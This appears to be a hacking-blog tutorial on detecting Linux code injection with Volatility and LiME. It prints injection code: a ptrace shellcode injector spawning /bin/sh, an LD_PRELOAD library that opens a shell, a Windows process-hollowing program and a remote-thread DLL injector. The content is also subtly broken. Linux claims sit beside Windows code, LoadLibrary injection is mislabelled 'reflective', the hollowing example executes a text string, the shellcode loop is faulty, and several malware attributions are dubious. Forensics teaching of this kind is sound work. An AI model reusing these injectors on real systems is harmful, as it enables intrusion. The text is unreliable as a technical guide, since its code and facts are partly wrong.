Hey there, fellow hackers! Welcome to another deep dive into the dark and fascinating world of memory forensics. Today, we’re going to explore advanced techniques for detecting code injection on Linux systems. Code injection is one of the most insidious methods attackers use to hide malicious activities and maintain persistence on compromised systems. By understanding these techniques, we can better defend against them and improve our forensics skills.

Memory forensics is a critical skill for red teams and pen testers, as it allows us to uncover the traces left by advanced adversaries. We’ll walk through several real-world examples, show you how to detect these techniques, and provide you with practical code samples and tool execution demonstrations. Let’s get started!

What is Code Injection?

Code injection involves injecting malicious code into the memory space of a running process. This can be done through various methods, including:

  • Shellcode Injection: Injecting custom shellcode into a process.
  • Library Injection: Loading a malicious shared library into a process.
  • Process Hollowing: Replacing the legitimate code of a process with malicious code.
  • Reflective DLL Injection: Injecting and executing a DLL without touching the disk.

These techniques are used by attackers to execute arbitrary code, evade detection, and maintain persistence on compromised systems. As defenders, it’s crucial to understand how these techniques work and how to detect them using memory forensics.

Tools of the Trade

Before we dive into the techniques, let’s talk about the tools we’ll be using. Memory forensics requires specialized tools to analyze the contents of RAM. Here are some of the tools we’ll be using:

  • Volatility: A powerful memory forensics framework.
  • Rekall: Another memory forensics framework, with a strong focus on scalability.
  • LiME: A Loadable Kernel Module (LKM) that allows you to acquire memory dumps from Linux systems.
  • GDB: The GNU Debugger, useful for low-level analysis of running processes.

These tools will help us extract and analyze the memory contents of a compromised system, allowing us to detect signs of code injection.

Shellcode Injection

Shellcode injection involves injecting custom shellcode into a running process. This is a common technique used by attackers to execute arbitrary code. Let’s look at an example of how this is done and how we can detect it.

Example: Shellcode Injection

Consider a scenario where an attacker injects shellcode into a running process using the ptrace system call. Here’s a simple example of shellcode injection in C:

#include <sys/ptrace.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

const char *shellcode = "\x48\x31\xc0\x48\x89\xc2\x48\x89"
                        "\xc6\x48\x8d\x3d\x04\x00\x00\x00"
                        "\x04\x3b\x0f\x05\x2f\x62\x69\x6e"
                        "\x2f\x73\x68\x00\xcc";

void inject_shellcode(pid_t pid) {
    for (size_t i = 0; i < strlen(shellcode); i++) {
        ptrace(PTRACE_POKETEXT, pid, (void *)(0x00400000 + i), *((int *)(shellcode + i)));
    }
}

int main(int argc, char *argv[]) {
    pid_t pid;

    if (argc != 2) {
        fprintf(stderr, "Usage: %s <pid>\n", argv[0]);
        return 1;
    }

    pid = atoi(argv[1]);
    ptrace(PTRACE_ATTACH, pid, NULL, NULL);
    wait(NULL);

    inject_shellcode(pid);

    ptrace(PTRACE_DETACH, pid, NULL, NULL);
    return 0;
}

This program attaches to a running process, injects shellcode into its memory space, and then detaches. The shellcode spawns a /bin/sh shell.

Detecting Shellcode Injection

To detect shellcode injection, we need to analyze the memory of the target process. Here’s how we can do it using Volatility:

  1. Acquire a Memory Dump: First, we need to acquire a memory dump from the target system. We can use LiME to do this:
insmod lime.ko "path=/root/memory_dump.lime format=lime"
  1. Analyze the Memory Dump: Next, we load the memory dump into Volatility and analyze it:
volatility -f /root/memory_dump.lime --profile=LinuxUbuntu_18_04x64 linux_pslist

This command lists all running processes. We need to find the target process (e.g., a web server) and its PID.

  1. Dump the Process Memory: We then dump the memory of the target process:
volatility -f /root/memory_dump.lime --profile=LinuxUbuntu_18_04x64 linux_dump_map -p <pid> -D /root/
  1. Analyze the Dumped Memory: Finally, we analyze the dumped memory for signs of shellcode. We can use strings to search for suspicious strings or use a disassembler like objdump to disassemble the dumped memory:
strings /root/task.1040.0x0000000000400000-0x0000000000600000.dmp | grep -i "bin/sh"

If we find references to /bin/sh or other suspicious strings, it indicates possible shellcode injection.

Library Injection

Library injection involves loading a malicious shared library into a running process. This can be done using the LD_PRELOAD environment variable, the dlopen function, or other methods. Let’s explore an example and how to detect it.

Example: Library Injection

Consider a scenario where an attacker injects a malicious library into a running process using LD_PRELOAD:

#include <stdio.h>
#include <stdlib.h>

void __attribute__((constructor)) init() {
    system("/bin/sh");
}

void __attribute__((destructor)) cleanup() {
    system("echo 'Library unloaded'");
}

This library spawns a shell when loaded. The attacker can inject it into a process by setting the LD_PRELOAD environment variable:

LD_PRELOAD=/path/to/malicious.so /path/to/target

Detecting Library Injection

To detect library injection, we need to examine the loaded libraries of a process. Here’s how we can do it using Volatility:

  1. Acquire a Memory Dump: As before, we acquire a memory dump using LiME.

  2. List Loaded Libraries: We use Volatility to list the loaded libraries of the target process:

volatility -f /root/memory_dump.lime --profile=LinuxUbuntu_18_04x64 linux_library_list -p <pid>

This command lists all libraries loaded by the target process. We need to look for suspicious or unexpected libraries.

  1. Analyze Loaded Libraries: We can further analyze the suspicious libraries by dumping and examining their contents:
volatility -f /root/memory_dump.lime --profile=LinuxUbuntu_18_04x64 linux_library_dump -p <pid> -b <base_address> -D /root/

We then use tools like strings, objdump, or gdb to analyze the dumped library.

Process Hollowing

Process hollowing involves creating a new process in a suspended state, replacing its memory with malicious code, and then resuming the process. This technique is often used to hide malicious activities under the guise of a legitimate process.

Example: Process Hollowing

Consider a scenario where an attacker uses process hollowing to replace the memory of a legitimate process with malicious code. Here’s a simplified example:

#include <windows.h>
#include <stdio.h>

int main() {
    STARTUPINFO si;
    PROCESS_INFORMATION pi;
    CONTEXT ctx;
    LPVOID baseAddr;
    char buffer[] = "Hello, Process Hollowing!";

    memset(&si, 0, sizeof(si));
    si.cb = sizeof(si);
    memset(&pi, 0, sizeof(pi));

    // Create a new process in suspended state
    if (!CreateProcess(NULL, "notepad.exe", NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi)) {
        printf("CreateProcess failed (%d).\n", GetLastError());
        return 1;
    }

    // Get the address of the entry point
    baseAddr = VirtualAllocEx(pi.hProcess, NULL, sizeof(buffer), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    WriteProcessMemory(pi.hProcess, baseAddr, buffer, sizeof(buffer), NULL);

    // Set the context of the process to point to our buffer
    ctx.ContextFlags = CONTEXT_FULL;
    GetThreadContext(pi.hThread, &ctx);
    ctx.Eip = (DWORD)baseAddr;
    SetThreadContext(pi.hThread, &ctx);

    // Resume the process
    ResumeThread(pi.hThread);

    WaitForSingleObject(pi.hProcess, INFINITE);

    // Clean up
    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);

    return 0;
}

This program creates a new process (notepad.exe) in a suspended state, allocates memory in the target process, writes a message to it, and then resumes the process. The target process now executes our malicious code.

Detecting Process Hollowing

Detecting process hollowing involves examining the memory regions of a process and looking for anomalies. Here’s how we can do it using Volatility:

  1. Acquire a Memory Dump: As before, we acquire a memory dump using LiME.

  2. List Memory Regions: We use Volatility to list the memory regions of the target process:

volatility -f /root/memory_dump.lime --profile=LinuxUbuntu_18_04x64 linux_vma_cache -p <pid>

This command lists all memory regions of the target process. We need to look for regions that have suspicious permissions (e.g., executable but not readable) or regions that should not be there.

  1. Analyze Memory Regions: We can further analyze the suspicious memory regions by dumping and examining their contents:
volatility -f /root/memory_dump.lime --profile=LinuxUbuntu_18_04x64 linux_dump_map -p <pid> -b <base_address> -D /root/

We then use tools like strings, objdump, or gdb to analyze the dumped memory.

Reflective DLL Injection

Reflective DLL injection involves injecting a DLL into a process and executing it without touching the disk. This technique is often used by advanced attackers to evade detection by traditional file-based antivirus solutions.

Example: Reflective DLL Injection

Consider a scenario where an attacker injects a DLL into a running process using reflective DLL injection. Here’s a simplified example in C++:

#include <windows.h>
#include <stdio.h>

BOOL InjectDLL(DWORD pid, const char *dllPath) {
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
    if (!hProcess) {
        printf("OpenProcess failed (%d).\n", GetLastError());
        return FALSE;
    }

    LPVOID pRemoteBuf = VirtualAllocEx(hProcess, NULL, strlen(dllPath) + 1, MEM_COMMIT, PAGE_READWRITE);
    WriteProcessMemory(hProcess, pRemoteBuf, (LPVOID)dllPath, strlen(dllPath) + 1, NULL);

    HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)LoadLibraryA, pRemoteBuf, 0, NULL);
    if (!hThread) {
        printf("CreateRemoteThread failed (%d).\n", GetLastError());
        CloseHandle(hProcess);
        return FALSE;
    }

    WaitForSingleObject(hThread, INFINITE);

    VirtualFreeEx(hProcess, pRemoteBuf, 0, MEM_RELEASE);
    CloseHandle(hThread);
    CloseHandle(hProcess);

    return TRUE;
}

int main(int argc, char *argv[]) {
    if (argc != 3) {
        fprintf(stderr, "Usage: %s <pid> <dll_path>\n", argv[0]);
        return 1;
    }

    DWORD pid = atoi(argv[1]);
    const char *dllPath = argv[2];

    if (InjectDLL(pid, dllPath)) {
        printf("DLL injected successfully.\n");
    } else {
        printf("DLL injection failed.\n");
    }

    return 0;
}

This program injects a DLL into a running process by creating a remote thread that calls LoadLibraryA.

Detecting Reflective DLL Injection

Detecting reflective DLL injection involves examining the memory of a process for injected modules. Here’s how we can do it using Volatility:

  1. Acquire a Memory Dump: As before, we acquire a memory dump using LiME.

  2. List Loaded Modules: We use Volatility to list the loaded modules of the target process:

volatility -f /root/memory_dump.lime --profile=LinuxUbuntu_18_04x64 linux_library_list -p <pid>

This command lists all modules loaded by the target process. We need to look for suspicious or unexpected modules.

  1. Analyze Loaded Modules: We can further analyze the suspicious modules by dumping and examining their contents:
volatility -f /root/memory_dump.lime --profile=LinuxUbuntu_18_04x64 linux_library_dump -p <pid> -b <base_address> -D /root/

We then use tools like strings, objdump, or gdb to analyze the dumped module.

Real-World Examples

Let’s look at some real-world examples of code injection techniques used by malware and advanced persistent threats (APTs).

Example 1: Turla

Turla is an advanced APT group known for its sophisticated malware and code injection techniques. One of their tools, Carbon, uses reflective DLL injection to evade detection. Carbon injects a DLL into a legitimate process and uses it to execute its malicious payload.

Example 2: Stuxnet

Stuxnet, one of the most famous pieces of malware, used process hollowing to hide its malicious activities. It injected code into legitimate processes and executed it, making it difficult to detect and analyze.

Example 3: Flame

Flame, another sophisticated piece of malware, used shellcode injection to execute its payload. It injected shellcode into running processes, allowing it to carry out its malicious activities without being detected.

Conclusion

Detecting code injection techniques in Linux requires a deep understanding of memory forensics and the ability to analyze the memory of a compromised system. By using tools like Volatility, Rekall, and GDB, we can uncover the traces left by advanced attackers and defend against their techniques.

In this article, we explored several code injection techniques, including shellcode injection, library injection, process hollowing, and reflective DLL injection. We also looked at real-world examples of malware that use these techniques and provided practical examples of how to detect them.

Memory forensics is a powerful skill for red teams and pen testers. By mastering these techniques, we can improve our ability to detect and respond to advanced threats. Keep exploring, stay curious, and never stop learning!

Happy hacking!